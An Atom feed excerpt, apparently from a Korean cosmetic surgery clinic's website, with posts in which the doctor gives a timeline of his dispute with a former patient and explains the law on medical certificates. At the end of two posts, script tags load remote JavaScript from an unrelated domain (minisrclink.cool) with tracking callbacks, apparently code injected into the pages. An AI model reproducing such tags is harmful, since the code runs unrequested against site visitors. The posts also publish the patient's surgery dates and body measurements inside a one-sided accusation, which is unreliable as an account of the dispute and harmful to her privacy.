밝혀지지 않은 상태입니다).&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;이제는 DEBAKBUJA님이 수술전후사진을 일반인의 시각에서 편집하여 게제하더라도 비너스의원이 수술전후사진을 편집하여 그렇지 않다고 설명할 수 없게 되었습니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;DEBAKBUJA님은 옆구리에 지방층이 28mm 남았다고 수차례에 걸쳐 네이버등등에 허위사실을 유포하였음에도, 정작 그 사실이 진실인지 직접 초음파 검사로 확인하자고 하였지만 바쁘다면서 초음파 검사를 회피하고 이렇게 사진을 올린 것입니다.&lt;/span&gt;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;DEBAKBUJA님은 자신을 수술한 의사를 모욕한 것에 대해&amp;nbsp;&lt;span style=&quot;font-size: 14px;&quot;&gt;반성과 사과는 커녕 수술전후사진을 정확하게 편집하여 사이즈감소를 보여주었던 비너스의원에게 오히려 명예훼손을 당했다고 방송통신위원회에 신고한 것입니다.&lt;/span&gt;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;img alt=&quot;홈피7.5_2019-11-09 232037.png&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/701/489/c8e29f121d114783eb1e7277e831bc38.png&quot; /&gt;&lt;/h3&gt; &lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;img alt=&quot;방통위.JPG&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/701/489/c4bd0a63aa2edc2a50dbfcb4d76e65cf.JPG&quot; /&gt;&lt;/h3&gt; &lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lat?jsonp=__twb_cb_809589650&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=1541132244&amp;amp;t=1541132244427&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lt?jsonp=__twb_cb_176099426&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=28046&amp;amp;t=1541132244427&quot;&gt;&lt;/script&gt;</content>			</entry><entry>
		<title>6. debakbuja님의 사건 경위서</title>
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		<published>2017-05-15T11:49:31+09:00</published>
		<updated>2018-11-02T04:22:32+09:00</updated>
		<author>
			<name>drpiggy</name>
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		<summary type="text">6. debakbuja님의 사건 경위서 비너스의원 원장 정원호는 목디스크를 다쳐서 2016-09-01일 부터 2017-02-07일 까지 휴원하고 있었습니다. 2016-03-07 : 전측복부 + 옆구리(러브핸들) 지방흡입 + 가슴확대지방이식 수술ht. 159.3 wt. 54.1 BMI 21.3 2016-03-08 : 수술후 1일 외래방문 치료 소독 및 상처봉합 2016-03-15 : 수술후 1주일 치료 및 발사, 수술 1주일차 사진촬영 2016-03-21 : 수술후 관리 마사지 1회째 2016-03-24 : 수...</summary>
	<content type="html">&lt;h3 class=&quot;page-header mBottom60&quot;&gt;6. debakbuja님의 사건 경위서&lt;/h3&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;비너스의원 원장 정원호는 목디스크를 다쳐서 2016-09-01일 부터 2017-02-07일 까지 휴원하고 있었습니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;ul&gt;&lt;li&gt;2016-03-07 : 전측복부 + 옆구리(러브핸들) 지방흡입 + 가슴확대지방이식 수술ht. 159.3 wt. 54.1 BMI 21.3&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-03-08 : 수술후 1일 외래방문 치료 소독 및 상처봉합&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-03-15 : 수술후 1주일 치료 및 발사, 수술 1주일차 사진촬영&lt;/li&gt; &lt;li&gt;2016-03-21 : 수술후 관리 마사지 1회째&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-03-24 : 수술후 관리 마사지 2회째&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-03-31 : 수술후 관리 마사지 3회째&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-04-04 : 수술후 관리 마사지 4회째&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-04-07 : 수술후 관리 마사지 5회째&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-04-11 : 수술후 관리 마사지 6회째, 외래진료 초음파검사및 수술 1개월차 사진촬영 치료종료됨. ht. 159.3 wt. 54.4 BMI 21.4&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-11-07: 첫수술에 수술 받지 못한 요추주위등 수술위해 병원에 전화상담요청&lt;/li&gt; &lt;li&gt;2016-01-05: debakbuja님이 원장 정원호가 요추주위등 부위의 수술이 가능한 상태인지 비너스의원 상담실장에게 문자로 문의함&amp;nbsp;&lt;/li&gt;&lt;li&gt;2016-01-18: 비너스의원 상담실장과 debakbuja님이 전화통화 함. 강남T의원에서 옆구리가 22 mm 남았다고 했다고 함. 저녁 늦게 30분 넘게 통화했다고 함&amp;nbsp;&lt;/li&gt;&lt;li&gt;2017-01-21: 원장 정원호가 debakbuja님에게 전화하여 통화함. 강남T의원에서 수술 받기전에 내원하여 진찰및 초음파 검사를 받아 줄 것을 요구했으나, debakbuja님은 주말에도 바빠서 내원하기 힘들다고 함. 바쁘시다고 하여 내원 가능하면 전화해 주기로 하고 전화를 끊음. 정원호는 직원들에게 사진 및 진료, 수술기록 요청하면 주라고 간호사에게 지시함&amp;nbsp;&lt;/li&gt;&lt;li&gt;2017-01-21: 강남T의원 담당 C원장과 통화함. debakbuja님에게 옆구리에 수술이 안되어 있다고 말을 한 사실이 있는지 확인함. C원장은 옆구리는 12-14 mm 남았고, 러브핸들이 28 mm 남았다고 하였고, 옆구리 부위가 수술이 안되었다는 말은 debakbuja님에게 말한 적이 없다고 함. C원장은 러브핸들 부위가 몸통의 측면부분인 옆구리가 아니라, 척추에서 45도 정도 방향에 있는 사실상 뒤쪽에서 보여지는 옆구리 즉, 요추주위등(Paralumbar area)과 등부위를 말하는 것이었음. 이 부위는 debakbuja님과 비너스의원이 계약한 부위가 아님.&amp;nbsp;&lt;/li&gt;&lt;li&gt;2017-01-23 : debakbuja님에게 강남T의원에서 수술을 받지 않으면 수술비를 환불해 주겠느냐는 전화옴. 저희 비너스의원에 내원하여 진찰과 초음파로 확인해 보지도 않은 상태에서는 환불하지 않겠다고 하여 이를 거절함. 네이버 지식인 등등에 debakbuja님은 강남T의원에서 옆구리(러브핸들) 부위를 재수술 받았고 돌출부위가 제거되었다고 함.&amp;nbsp;&lt;/li&gt;&lt;li&gt;2017-02-27: 비너스의원에서 진료를 하고 있는 상황에서 엉덩이와 허벅지 재수술을 받은 L님으로부터 안티성형카페에서 debakbuja님이 비너스의원을 악평하고 있다는 이야기를 듣고 피해사실을 인지하게 됨&amp;nbsp;&lt;/li&gt;&lt;li&gt;2017-03-31: 턱과 목 지방흡입 수술을 추가로 받은 L님이 안티성형카페는 회원제로 운영되고 있으며, 병원관계자의 회원가입을 금하고, 무슨 이유인지 회원가입을 매우 어렵게 해 놓았음. 그래서 비회원들은 내용을 보지 못하므로, L님께 부탁하여 L님은 직접 자신의 아이디로 로그인하여 관련게시글을 캡쳐 해 주었고, 강남T의원에서 발급받은 진단서를 전해 주었음.&amp;nbsp;&lt;/li&gt;&lt;li&gt;2017-04-01: 진료 중에 수술받은 환자와 수술예정인 환자들로부터 네이버 검색을 통해, 네이버 블로그, 카페, 네이버 사진, 네이트 등에 debakbuja님이 광범위하게 허위사실을 유포중임을 인지하고 증거들을 캡쳐함&amp;nbsp;&lt;/li&gt;&lt;li&gt;2017-04-05 부천 오정경찰서에 debakbuja님을 고소함&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt; &lt;/div&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;한 때 debakbuja님은 저를 믿고, 자신의 소중한 생명을 맏겨주신 제 환자였고, 전 debakbuja 에게 최선을 다했습니다. 처음에는 오해로 인해 생긴 일이라 생각하며 오해를 풀려고 노력했지만, 현재 debakbuja님이 인터넷을 통하여 고의적으로 자신의 주장을 공표하여 저의 명예를 훼손하고 있는 위법적인 행동을 이해 할 수 없습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 네이버 지식인에 게제된 글을 화면캡쳐한 글로서 debakbja님은 2017년 1월 23일 강남C의원에서 러브핸들을 수술받았다고 하였는데, 아래 게시글에는 엉뚱하게도 &lt;code&gt;2017년 1월 20일&lt;/code&gt; 올린 글에 재수술이 이루어졌고 지방이 제거되었다는 내용의 글이 게제되고 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/700/489/3815a70c9151c579a76cc95ff930264e.JPG&quot; alt=&quot;지식인3.JPG&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489684&quot;&gt;5. 2014년 지방흡입 수술을 받은 N님에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489700&quot;&gt;6. debakbuja님의 사건 경위서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489701&quot;&gt;7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489712&quot;&gt;8. debakbuja님이 인터넷에 공표하고 있는 주장들&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489746&quot;&gt;9. 강남T의원 C원장의 생각하는 ‘러브핸들’ 부위와 진단서에 대하여&lt;/a&gt;&lt;/p&gt; &lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lat?jsonp=__twb_cb_446262252&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=1541132497&amp;amp;t=1541132497635&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lt?jsonp=__twb_cb_691854348&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=28299&amp;amp;t=1541132497636&quot;&gt;&lt;/script&gt;</content>			</entry><entry>
		<title>4. 진단서 작성법과 허위진단서</title>
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		<published>2017-05-15T11:47:14+09:00</published>
		<updated>2018-05-22T00:26:10+09:00</updated>
		<author>
			<name>drpiggy</name>
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		<summary type="text">4. 진단서 작성법과 허위진단서 진단서는 의사가 사람의 신체를 검사하여 생명이나 몸과 마음의 건강 상태에 관하여 의학적으로 판단한 증명서다. 사회가 발달하면서 사회생활에서 생명이나 몸과 마음의 상태는 각종 법적 권익과 밀접한 관계가 있다. 이처럼 의사가 자신의 지식과 경험을 바탕으로 검사 결과를 근거로 판단한 각종 증명서는 진실성을 근본으로 삼아 사회의 신뢰를 받는 증명서다. 의사는 진료하 는 환자에게 온정적...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;4. 진단서 작성법과 허위진단서&lt;/span&gt;&lt;/h3&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;진단서는 의사가 사람의 신체를 검사하여 생명이나 몸과 마음의 건강 상태에 관하여 의학적으로 판단한 증명서다. 사회가 발달하면서 사회생활에서 생명이나 몸과 마음의 상태는 각종 법적 권익과 밀접한 관계가 있다. 이처럼 의사가 자신의 지식과 경험을 바탕으로 검사 결과를 근거로 판단한 각종 증명서는 진실성을 근본으로 삼아 사회의 신뢰를 받는 증명서다. 의사는 진료하 는 환자에게 온정적인 태도를 가져야 한다. 그러나 진단서를 교부하는 일은 진료 본연의 업무라기보다는 법률적인 행위이므로 감정인으로서 판단하여야 한다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;2015년 3월 발간된 서울대학교 이윤성 교수님과 추무진 의사협회장은 &#039;진단서등 작성교부 지침&#039; 발간사와 서문에서 아래와 같이 언급하였습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;진단서는 의사가 사람의 생명-죽음과 건강-상병에 관하여 의학적으로 판단하여 작성한 문서입니다. 의사가 환자를 진료할 때에는 환자-의사 관계이지만 진단서를 작성할 때에는 감정인-피감정인이 됩니다. 온정적으로 대하던 환자를 갑자기 피감정인으로 간주하기는 어렵습니다. 정이 많은 우리 나라 사람들에게는 무척 어렵습니다. 실제로 진단서 관련된 분쟁이 다른 나라 보다 많다고도 합니다. 진단서는 환자의 권리를 지키기 위한 도구지만 다른 한편은 그로 인하여 불이익을 보는 사람이나 집단이 있을 수 있습니다. 당연히 진단서는 공정하고 근거를 갖추어야 합니다. 무엇보다도 진정성을 바탕으로 작성해야 합니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;진단서 발급은 순수한 의료행위임과 동시에 피해자, 가해자의 이권이 개입되는 일입니다. 특히 경찰에서는 사고처리시 상해의 경중보다 단순히 진단기간에 관심을 갖는 경향으로 인해 늘 민원발생의 소지가 있습니다. 따라서 의사는 환자 의 진료 외에도 진단서 등의 중요성을 인식하고 바르게 교부하여 진료과정에서 피해가 발생하지 않도록 해야 할 것입니다. &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;아래의 내용은 앞서 말씀드린 대한의사협회에서 2015년도에 발행한 &#039;진단서등 작성교부 지침&#039;에 따른 것임을 알려 드립니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서란? &lt;/h4&gt; &lt;p&gt;의사가 하는 일 가운데 사람의 신체를 검사하여 생명이나 몸과 마음의 건강 상태에 관하여 의학적으로 판단하는 일은 매우 중요하다. 사회가 발달하면서 사 회생활에서 생명이나 몸과 마음의 상태는 각종 법적 권익과 밀접한 관계가 있다. 진단서는 진실성을 본질로 삼아 사회의 신뢰를 받는 증명서다. 진단서는 의사, 치과의사, 한의사, 조산사 등이 건강 상태를 증명할 목적으로 진찰 결과나 결과를 바탕으로 한 판단을 기재하여 작성한 문서다. 굳이 형식을 다투지 않으나 의료법 시행규칙의 진단서 서식과 같이 의료인의 자격을 기재하는 등의 형식을 갖추어야 한다. 달리 명시하지 않으면 진단서는 &amp;lt;표 1&amp;gt;에 열거 한 의료문서를 모두 일컫는 넓은 의미로 사용한다. 한편 [감염병의 예방 및 관리에 관한 법률] 제11조의 규정에 따라 의사가 법정 감염병을 진단하는 등의 사실을 신고하기 위한 서류는 진단서가 아니다. 법정 감염병을 거짓으로 신고한 경우에는 같은 법 제81조에 벌칙 규정을 따로 두었다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;진단서는 원칙적으로 진찰한 당시의 건강 상태를 증명한다. 때로 과거의 진료 사실을 증명하려는 목적으로 진단서를 교부하기도 하는데, 이런 목적의 진단서 는 엄격하게 ｢사실 확인서｣라야 한다. 예를 들어 수 년 전에 &#039;위암&#039; 때문에 ｢위 일부절제술｣을 받았다면 현재의 건강 상태는 &#039;위암&#039;이 아니라 &#039;위암 때문에 위 일 부절제술 후 상태&#039;고, 비록 진단서 서식에 기재할지라도 사실 확인서의 성격이 크다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서 종류 &lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;의사가 사람을 진찰하고 자신의 의견이나 판단을 표시함으로써 사람의 생명이 나 건강(질병) 상태를 증명하는 서류를 진단서(診斷書, Medical Certificate)라고 한다. 우리나라에는 법규로 정한 진단서를 비롯하여 여러 가지 종류의 진단서가 있다.(표1) &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/679/489/./files/attach/images/251145/679/489/1bfa80cb884d888b52286514ad518c4a.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;진단서는 명칭에 구애 받지 않는다. 진단서나 상해진단서, 사망진단서에는 진단서라는 명칭이 있지만, 시체검안서나 출생증명서, 사산증명서처럼 의료법 시행규칙에 명시한 증명서뿐만아니라, 소견서나 감정서로 표현되는 문서도 모두 진단서로 간주한다. 대법원 판례도 &quot;형법 제233조의 허위진단서작성죄에 있어서 진단서라 함은 의사가 진찰의 결과에 관한 판단을 표시하여 사람의 건강상태를 증명하기 위하여 작성하는 문서를 말하는 것이므로, 비록 그 문서의 명칭이 소견서로 되어 있더라도 그 내용이 의사가 진찰한 결과 알게 된 병명이나 상처의 부위, 정도 또는 치료기간 등의 건강상태를 증명하기 위하여 작성된 것이라면 역시 위의 진단서에 해당하는 것이다&quot;라고 판시하였다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서의 의미 &lt;/h4&gt; &lt;p&gt;진단서는 의사 개인이 발행하는 사문서(私文書)지만 사회적으로나 법적으로는 공문서(公文書)와 비슷한 가치를 가진다. 예컨대 사람의 법적권리는 출생신고로 시작하고 사망신고로 끝나는데, 출생증명서와 사망진단서가 각각 그 사실을 인정하는 근거다. 이러한 의료 문서는 사망원인 통계를 비롯하여 여러 사업의 기초자료이며 우리나라 뿐만아니라 세계적으로도 보건통계에 이용된다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;취직이나 취업에 필요한 건강의 증명, 보험금의 청구, 폭행이나 상해 사건에서 피해자의 손상 정도 판단, 병역 수행 가능 여부 판단, 운전 가능 여부 판단을 비롯 한 각종 면허 신청과 같은 사회적인 활동에도 의사의 진단서는 매우 중요하다. 그러므로 의사는 진단서의 중요성을 잘 알고 있어야 하며, 바르게 작성하고 적절하게 교부하여, 불필요한 피해가 발생하지 않도록 노력해야 한다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;진단서의 내용은 진료한 사람의 질병 또는 건강 상태에 대한 판단이다. 내용의 진정성(眞正性)은 허위진단서에서 자세히 설명한다. 질병이나 건강 상태는 진단 서를 교부할 즈음의 상태를 의미한다. 예전에 앓았던 질병에 대해서 증명을 하려면 진단서와 같은 형식의 서면에 작성할지라도 사실 확인서와 같은 증명서로 대체하는 것이 옳다. &lt;/p&gt; &lt;p&gt;불행하게도 의학 지식과 장비가 발전함으로써 진단서 작성 교육 등은 의과대학 교육과정에서 우선순위가 낮은 내용으로 간주하여 제대로 교육하지 않으며, 의사가 되어 부적절하거나 심지어 불법적인 진단서를 작성하고 교부하여 스스로 처벌을 받는 상황에 이르기도 한다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;의료법에 명시된 의무&lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/679/489/./files/attach/images/251145/679/489/4a1be43390a9adcbb80d4177b301ce89.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서 교부의무&lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;국민의 일상생활에 진단서나 증명서가 첨부되어야 하는 경우가 많다. 만약 의사가 진단서를 교부하지 않으면 국민들의 활동에는 제약이 따르고 권리를 행사 할 수 없는 일이 생긴다. 이를 방지하기 위하여 의사는 의료법 제17조 제3호에 &quot;진단서·검안서 또는 증명서 교부를 요구받은 때에는 정당한 사유 없이 거부하지 못한다.&quot;고 하였다. 다만 정당한 사유가 있다면 교부 요구를 거부할 수 있는데, 이를테면 환자 본인이나 적법한 대리인이 아닌 사람이 진단서 교부를 요구하는 경우, 범죄에 이용될 의심이 있는 경우 등이다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서 교부주체&lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;진단서는 의료인이 교부할 수 있다. 그러나 모든 의료인이 모든 종류의 진단 서 등을 교부할 수는 없다. 의사, 치과의사, 한의사는 진단서(각종 진단서를 모두 포함한다.)와 검안서를 교부할 수 있고, 의사·한의사 또는 조산사는 출생증명서, 사망진단서, 사산증명서를 교부할 수 있다.(표1) &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의사는 모든 종류의 진단서를 작성하여 교부할 수 있다. 치과의사가 작성할 수 없는 진단서는 출생증명서나 사산증명서이고, 한의사는 제한이 없다. 한편 조 산사는 출생증명서, 사산증명서를 작성할 수 있다. 간호사가 작성할 수 있는 진단서는 없다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서 교부대상&lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;의료법 제19조(비밀 누설 금지)는 &quot;의료인은 이 법이나 다른 법령에 특별히 규 정된 경우 외에는 의료·조산 또는 간호를 하면서 알게 된 다른 사람의 비밀을 누설하거나 발표하지 못한다.&quot;고 하였고, 형법 제317조(업무상비밀누설)은 &quot;① 의사, 한의사, 치과의사, (중략) 그 직무상 보조자 또는 차등의 직에 있던 자가 그 직무처리 중 지득한 타인의 비밀을 누설한 때에는 3년 이하의 징역이나 금고, 10년 이하의 자격정지 또는 700만원 이하의 벌금에 처한다.&quot;고 하였다. 위 두 법에서 모두 의사는 의료 등의 업무로 알게 된 비밀을 지키도록 요구 하였다. 업무로 알게 된 비밀(秘密)이란 본인이 직접 말하거나 은연중에 알게 되었거나, 진료과정에서 알게 되었음을 구분하지 않는다. 비밀이란 본인이 비밀로 할 것으 로 원하는 사항이거나, 일반적으로 비밀로 하려는 사항 모두를 포함하며, 일반에 게 알려지지 않은 사항을 의미한다. 누설(漏泄)은 비밀의 사항을 말로 알리거나 문서로 알리거나 또는 의무기록을 보이거나 하는 등 방법을 가리지 않는다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;만약 진단서를 환자가 원하지 않은 사람에게 교부하면 비밀누설의 죄에 해당 할 수 있다. 요컨대 진단서는 환자 본인에게 교부하며, 어쩔 수 없다면 환자의 동의서를 확인하거나 전화로라도 환자의 허락을 받아야 한다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;질병명과 건강상태&lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;진단서에 기재한 질병명 또는 건강 상태는 진단서를 교부하는 당시 또는 그 즈음의 상태여야 한다. 환자가 예전에 앓았지만 이미 치유되었다면 진단서를 교부할 대상이 되기 어렵다. 만약 환자가 이전에 앓았던 질병에 대해서 진단서 교부를 요구한다면, 그러한 사실에 대하여 진단서보다는 사실 확인서와 같은 증명서로 대신한다. 서식은 진단서와 같아도 상관없다. 예를들어 진단서 서식에 과거 질병 상태에 대하여 기재하고, 서식의 제목을 두 줄로 지우고 사실확인서라고 기재할 수도 있다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;어려운 점은 암 같은 질환이다. 예를 들어 위암 환자가 치료적 수술을 받은 지 5년이 지나 진단서 교부를 요구한다면, 진단명이 &#039;위암&#039;인 진단서를 교부하기 도 한다. 수술 후에 암 재발이나 전이 등이 없다면 암이 완치되었다고 본다. 엄격 하게 말하자면 이 상태는 &#039;위암&#039;(질병 분류 번호; C16)이 아니라 &#039;위암 수술 후 상태&#039;다. 따라서 &quot;5년 전에 위암으로 위 수술을 받은 사실&quot;을 증명하면 충분하다. 만약 위암 수술을 받은 지 2년이라면 아직 완치되었다고 보기는 어렵고 그렇다고 위암이 있는 상태라고 보기도 어렵다. 이 역시 사실 확인서가 적당하다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;진단서 보관기간&lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;의료법 시행규칙 제15조(진료에 관한 기록의 보존)는 진단서 등의 부본을 종류 에 따라 구분하여 최소 3년 동안 보존하도록 하였다. 이 조에 따르면 여러 가지 기록의 보존 기간을 따로 정하여 2년부터 10년까지 다양한데, 굳이 구별하여야 할 이유를 알 수 없다. 모든 기록을 10년이라고 생각하여 보관하는 것도 좋다. 전자문서 형태로 보존하면 특별히 공간이 필요 하지도 않다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h3 class=&quot;page-header mBottom60&quot;&gt;허위진단서&lt;/h3&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&amp;lt;형법&amp;gt; 제233조(허위진단서등의 작성) 의사, 한의사, 치과의사 또는 조산사가 진단서, 검안서 또는 생사에 관한 증명서를 허위로 작성한 때에는 3년 이하의 징역이나 금고, 7년 이하의 자격정지 또는 3천만원 이하의 벌금에 처한다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;h4 class=&quot;headline left-line mBottom40&quot;&gt;구성 요건 &lt;/h4&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;허위진단서 